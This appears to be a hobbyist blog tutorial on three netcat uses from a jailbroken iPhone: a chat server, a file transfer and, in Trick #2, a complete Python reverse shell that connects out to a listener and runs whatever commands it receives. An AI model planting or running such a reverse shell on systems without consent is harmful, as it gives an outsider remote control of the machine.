Netcat Tricks for iPhone

Whats up guys!

In this post we’ll take a look at 3 cool tricks using netcat on the iPhone.

Note that you will need a jailbroken device in order to follow along; alternatively, you can just use a laptop/desktop with netcat installed.

Using checkra1n jailbreak, this has become trivial for most devices.

Networking Tools for iPhone

In order to use a lot of the networking tools in the iPhone, you’ll need to download them from Cydia first.

Go under Terminal Support and choose a terminal of your choice.

I went ahead with NewTerm.

Then make sure you have netcat installed from Networking section.

That’s everything we’re going to need.

Trick #1 – Simple Chat Server

For the first one, we’ll establish a chat server by simply listening for a connection; then connecting to it from the other system:

1) Chat server commands:
Server: netcat -lvvp 4020
Client: netcat -vv IP-address 4020

Once the connection is established we can then use it as a chat room.

Trick #2 – System Shell

As seen previously here on the blog, we can use netcat to listen for and catch a shell that will allow us to control that system remotely.

2) Shell commands:
Server: netcat -lvvp 4020
Client: Use the following script:

#!/usr/bin/env python3
import subprocess,socket,os
 
# Enter IP address and port
HOST = 'Enter.IP.Address.Here'
PORT = 4420
# Configure socket connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('\nHowdy!\n'.encode())
 
while True:
    data = s.recv(1024)
    if data.decode() == "quit": break
    elif data.decode()[:2] == "cd":
        try: os.chdir(data.decode()[3:])
        except: pass
    else:
        proc = subprocess.Popen(data.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdoutput = proc.stdout.read() + proc.stderr.read()
        stdoutput.decode()
        s.sendall(stdoutput)
# Loop ends here
s.send('Bye!'.encode())
s.close()

Trick #3 – Send a File

I wanted to send some files from my iPhone to one of my computers and this worked out quite nicely for transferring images and videos fast:

3) Send file to another computer:
Server: cat file.jpg | netcat -lcvp 4020
Client: netcat -vv IP-address 4020 > file.jpg

You’ll need to set the filename and extension prior to the transfer though.

That’s all for today’s post, I’ll see you next time! 🙂